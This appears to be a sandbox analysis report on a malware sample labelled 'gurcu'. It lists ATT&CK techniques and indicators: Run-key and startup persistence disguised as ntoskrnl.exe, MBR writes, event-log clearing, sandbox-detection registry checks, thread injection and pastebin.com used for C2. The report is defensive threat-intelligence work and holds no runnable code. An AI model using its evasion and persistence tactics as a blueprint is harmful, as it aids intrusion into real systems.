gurcu | b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	KrnlSetupSus.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk	KrnlSetupSus.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk	KrnlSetupSus.exe

Executes dropped EXE 3 IoCs

pid	Process
3260	Install.exe
2240	KrnlSetupSus.exe
3068	ntoskrnl.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ntoskrnl = "C:\\ProgramData\\ntoskrnl.exe"	KrnlSetupSus.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	pastebin.com
23	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\ntoskrnl	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1460 set thread context of 1316	1460	powershell.EXE	88

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3312	timeout.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\P3P = "CP=\"CAO DSP COR ADMa DEV CONo TELo CUR PSA PSD TAI IVDo OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR LOCi CNT\""	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02ijmtmqvqarluek\Reason = "2147780641"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\ValidDeviceId	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\Flags = "8256"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00180012BA528D4A"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\DeviceId = "<Data><User username=\"02MKROCZFTBIIGDE\"/></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\DeviceId = "<Data><User username=\"02MKROCZFTBIIGDE\"><HardwareInfo BoundTime=\"1734177474\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\DeviceId = "<Data DAInvalidationTime=\"1734177475\"><User username=\"02MKROCZFTBIIGDE\"><HardwareInfo BoundTime=\"1734177475\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n"	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ijmtmqvqarluek\Request Saturday, December 14, 2024 11:57:54 = "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